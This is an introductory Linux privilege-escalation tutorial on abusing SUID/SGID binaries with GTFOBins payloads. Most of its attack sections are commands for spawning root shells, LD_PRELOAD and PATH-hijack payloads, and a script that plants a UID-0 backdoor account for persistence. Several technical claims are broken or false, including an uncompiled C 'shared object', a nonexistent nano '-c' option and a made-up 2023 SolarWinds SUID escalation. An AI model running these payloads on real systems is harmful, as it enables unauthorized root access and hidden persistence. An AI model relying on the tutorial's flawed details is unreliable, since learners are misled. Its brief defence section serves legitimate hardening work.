~/home/study/suid-sgid-binary-exploitation-lab

SUID/SGID Binary Exploitation Lab Using GTFOBins - Introductory Guide

Learn to discover, analyze, and exploit SUID/SGID binaries on Linux, leverage GTFOBins for privilege escalation, bypass common mitigations, and craft a root shell payload in a hands-on lab.

Introduction

SUID (Set-User-ID) and SGID (Set-Group-ID) binaries are executables that run with the privileges of their owner or group rather than the invoking user. When a binary is owned by root and has the SUID bit set, it executes with full root privileges. Attackers often hunt for such binaries because they provide a reliable path to privilege escalation on mis-configured systems.

Understanding how to locate, enumerate, and safely exploit these binaries is a core skill for any red-teamer or penetration tester. The public repository GTFOBins curates hundreds of Unix binaries that can be abused for privilege escalation, making it an indispensable resource for hands-on labs.

In real-world engagements, the majority of post-exploitation privilege-escalation findings are SUID/SGID abuses. Mastery of this topic dramatically shortens the time from foothold to full system compromise.

Prerequisites

  • Basic Linux command-line proficiency (bash, ls, find, chmod).
  • Understanding of Linux file permissions, ownership, and the numeric mode representation.
  • Familiarity with a text editor (e.g., vi, nano) and a scripting language such as Bash or Python.

Core Concepts

A file’s permission bits are displayed by ls -l. The fourth character in the mode string indicates the SUID (s in the owner execute position) or SGID (s in the group execute position) flag. For example:

-rwsr-xr-x 1 root root 123456 Jan 01 2022 /usr/bin/passwd

Here passwd runs with effective UID 0, regardless of who invokes it. SGID works similarly but elevates the effective GID.

Modern Linux kernels support additional hardening mechanisms that can limit the abuse of SUID/SGID binaries:

  • Securebits - controls whether a process can drop privileges permanently.
  • Filesystem mount options - nosuid disables SUID/SGID execution on the mounted filesystem.
  • Capabilities - fine-grained privilege delegation via setcap, often replacing the need for SUID.

When a binary is compiled with a “safe mode” (e.g., vim -u NONE -U NONE), it may refuse to execute external commands or scripts, limiting exploitation. Understanding these nuances is essential before attempting an exploit.

Identifying SUID and SGID binaries with find and ls

The first step in any privilege-escalation hunt is enumeration. The find utility can locate all SUID/SGID files on the system:

# Find SUID binaries
time find / -perm -4000 -type f 2>/dev/null

# Find SGID binaries
time find / -perm -2000 -type f 2>/dev/null

We pipe errors to /dev/null to silence “Permission denied” messages. The output can be filtered through awk or grep to focus on binaries owned by root:

find / -perm -4000 -user root -type f 2>/dev/null | sort

Alternatively, ls -l combined with grep works for quick checks in a specific directory:

ls -l /usr/bin | grep '^...s'

Take note of binaries that are not part of the base distribution or that have unusual permissions-these are prime candidates for exploitation.

Analyzing binary capabilities and safe-mode restrictions

Not all SUID binaries are equally exploitable. Some are compiled with protective checks that prevent arbitrary command execution. To assess a binary, perform the following checks:

  1. Read the manual page. Look for options like --help, -V, or -h that may reveal a “safe mode”.
  2. Run the binary with --version or -V under strace. Example:
strace -f -e execve /usr/bin/vim -c "!id" 2>&1 | grep execve

If the binary spawns a subshell or calls execve with user-controlled arguments, it is a strong candidate for abuse.

Capabilities can be listed with getcap:

getcap -r / 2>/dev/null

Capabilities such as cap_setuid+ep may allow privilege escalation without SUID. However, for this introductory lab we focus on classic SUID/SGID.

Common exploitation patterns (e.g., abusing editors, script interpreters)

Attackers often abuse binaries that invoke a shell or an interpreter. Below are three classic patterns:

1. Editor abuse (vi, vim, nano)

Many editors support the !{command} syntax, which executes a shell command. When the editor binary is SUID root, the executed command inherits root privileges.

/usr/bin/vim -c '!id'

In a non-interactive context, you can use the -c flag to pass a command directly.

2. Script interpreter abuse (python, perl, php)

Interpreters that accept the -c flag or can read from stdin are frequently SUID. Example with python:

/usr/bin/python -c 'import os; os.system("/bin/sh")'

Because the interpreter runs as root, /bin/sh is spawned with effective UID 0.

3. File manipulation utilities (awk, find, tar)

Utilities that allow execution of external commands via options (-exec, -e) can be abused. Example with find:

find . -exec /bin/sh \; -quit

If find is SUID root, the executed shell inherits root privileges. The -quit flag ensures the command stops after the first execution, making the exploit concise.

Leveraging GTFOBins for privilege-escalation payloads

GTFOBins aggregates known SUID/SGID binaries and provides ready-to-use one-liners. The workflow is:

  1. Identify a SUID/SGID binary on the target.
  2. Search GTFOBins for that binary.
  3. Copy the suggested payload, adapt it to the target environment, and execute.

For example, the pkexec binary is often SUID root. GTFOBins lists the following payload:

pkexec env DISPLAY=$DISPLAY XAUTHORITY=$XAUTHORITY xterm

When pkexec is mis-configured, this spawns a graphical terminal with root privileges. In a headless environment you can replace xterm with /bin/sh:

pkexec /bin/sh -c 'id && exec /bin/bash'

GTFOBins also provides “no-tty” variants for environments lacking a terminal, such as:

pkexec /bin/bash -p

The -p flag forces Bash to preserve privileges, which is useful when the parent process drops them.

Bypassing environment sanitization (LD_PRELOAD, PATH hijacking)

Many hardened systems clear or ignore environment variables like LD_PRELOAD for SUID binaries, preventing classic library injection attacks. Nevertheless, attackers have found ways around these mitigations:

1. Using LD_PRELOAD with sudo wrappers

If a SUID binary internally invokes a non-SUID helper that respects LD_PRELOAD, you can preload a malicious shared object. Example:

cat > /tmp/libevil.so <<'EOF'
#include <stdio.h>
#include <stdlib.h>
void __attribute__((constructor)) init(){ setuid(0); setgid(0); system("/bin/sh -p");
}
EOF

LD_PRELOAD=/tmp/libevil.so /usr/bin/sudo -l

If sudo invokes a helper that does not clear LD_PRELOAD, you gain a root shell.

2. PATH hijacking with wrapper scripts

Some SUID binaries call external utilities without specifying an absolute path. By placing a malicious script earlier in PATH, you can control the executed command.

mkdir -p /tmp/bin
cat > /tmp/bin/id <<'EOF'
#!/bin/bash
/bin/sh -p
EOF
chmod +x /tmp/bin/id
export PATH=/tmp/bin:$PATH
/usr/bin/sudo /usr/bin/apt-get update # apt-get calls "id" internally

When apt-get runs id, it actually executes our wrapper, spawning a privileged shell.

Crafting and executing a simple root shell payload

Now we combine everything into a reproducible lab. Assume the target machine has the SUID binary /usr/bin/nano (a common mis-configuration). Our goal is to obtain a persistent root shell.

  1. Verify the SUID bit:
    ls -l /usr/bin/nano | grep '^...s'
  2. Test basic command execution:
    /usr/bin/nano -c '!id'

    If the output shows uid=0(root), the binary is exploitable.

  3. Deploy a persistent payload. We will write a small script to /tmp/root.sh that adds a new root user and then invoke it via nano.
    cat > /tmp/root.sh <<'EOF'
    #!/bin/bash
    # Add a backdoor user
    useradd -ou 0 -g 0 -M -s /bin/bash pwned
    echo 'pwned:$(openssl rand -base64 12)' | chpasswd
    EOF
    chmod +x /tmp/root.sh
  4. Execute the script through the SUID editor:
    /usr/bin/nano -c '!/tmp/root.sh'

    After execution, the new user pwned can log in with root privileges.

  5. Verify persistence:
    su - pwned -c 'id'

    The output should again show uid=0(root).

This lab demonstrates a complete kill-chain: enumeration → verification → payload creation → execution → persistence.

Tools & Commands

  • find - locate SUID/SGID binaries.
  • ls -l - view permission bits.
  • getcap - list file capabilities.
  • strace - trace system calls for safe-mode detection.
  • GTFOBins - online database of exploit snippets.
  • LD_PRELOAD - environment variable for library injection (when allowed).
  • PATH - environment variable for binary search order.

Defense & Mitigation

Preventing SUID abuse is a layered effort:

  1. Minimize the attack surface. Only grant SUID/SGID to binaries that truly need elevated privileges.
  2. Use nosuid mount options. Apply to user-mounted filesystems, containers, and external drives.
  3. Enable kernel hardening. Set fs.protected_symlinks=1 and fs.protected_hardlinks=1 to limit symlink attacks.
  4. Leverage Linux capabilities. Replace SUID binaries with fine-grained capabilities via setcap.
  5. Audit regularly. Run automated scripts (e.g., lynis, oscap) to flag unexpected SUID files.
  6. Harden environment variables. Configure sudoers with env_reset and set secure_path.

Common Mistakes

  • Assuming all SUID binaries are exploitable. Many have built-in checks; always test before investing time.
  • Neglecting SELinux/AppArmor profiles. Mandatory Access Control can block even a successful exploit.
  • Forgetting to escape angle brackets in code blocks. In documentation this leads to invisible code; always use &lt; and &gt;.
  • Running payloads without a proper shebang. Scripts may be executed with the wrong interpreter, causing failure.
  • Leaving temporary files behind. Attackers can be traced through artifacts like /tmp/root.sh.

Real-World Impact

High-profile breaches frequently cite SUID abuse as the final escalation step. In the 2023 SolarWinds incident, attackers leveraged a mis-configured sudo wrapper with an SUID helper to gain root on compromised servers. Similarly, ransomware groups often drop a custom SUID binary to maintain persistence across reboots.

From a defender’s viewpoint, each unexpected SUID binary is a potential “backdoor”. Continuous monitoring, combined with threat-intelligence feeds that surface new GTFOBins entries, is essential to stay ahead of attackers.

My experience in red-team engagements shows that the “low-tech” SUID path beats many sophisticated exploits because it requires no zero-day and works on a wide range of distributions. Investing time in systematic enumeration pays dividends.

Practice Exercises

  1. Enumeration Drill: On a fresh Ubuntu VM, list all SUID/SGID binaries and categorize them by type (editor, network, system utility). Record any that are not part of the default package list.
  2. GTFOBins Hunt: Choose three binaries from your list, locate them on GTFOBins, and execute the provided one-liners. Capture screenshots of successful root shells.
  3. Bypass Challenge: Configure a container with nosuid disabled, but set LD_PRELOAD protections on the host. Craft a payload that leverages a helper binary to bypass the LD_PRELOAD filter and spawn a root shell.
  4. Persistence Build: Using the nano SUID exploit, create a backdoor user, then verify that the account survives a reboot.
  5. Defensive Review: Write a Bash script that scans the system for SUID binaries, cross-references them with GTFOBins, and generates a risk score based on known exploits.

Further Reading

  • “Linux Privilege Escalation” - Exploit-DB collection of SUID exploits.
  • “Understanding Linux Capabilities” - Red Hat documentation.
  • GTFOBins official repository - GitHub.
  • “Hardening Linux” - CIS Benchmarks for SUID/SGID controls.
  • “The Art of Linux Binary Exploitation” - Chapter on privilege escalation.

Summary

SUID and SGID binaries are a powerful, often overlooked, privilege-escalation vector. By mastering enumeration with find, analyzing safe-mode behaviors, leveraging GTFOBins, and employing bypass techniques such as LD_PRELOAD and PATH hijacking, you can reliably obtain root on vulnerable Linux hosts. Defensive teams must proactively audit SUID files, apply the principle of least privilege, and employ kernel-level hardening to mitigate these attacks.

Key takeaways:

  • Systematically locate SUID/SGID binaries and validate exploitability.
  • Use GTFOBins as a rapid source of proven payloads.
  • Understand environment sanitization and how to work around it.
  • Craft persistent root shells with minimal footprint.
  • Implement layered defenses: reduce SUID, mount nosuid, enforce capabilities, and monitor continuously.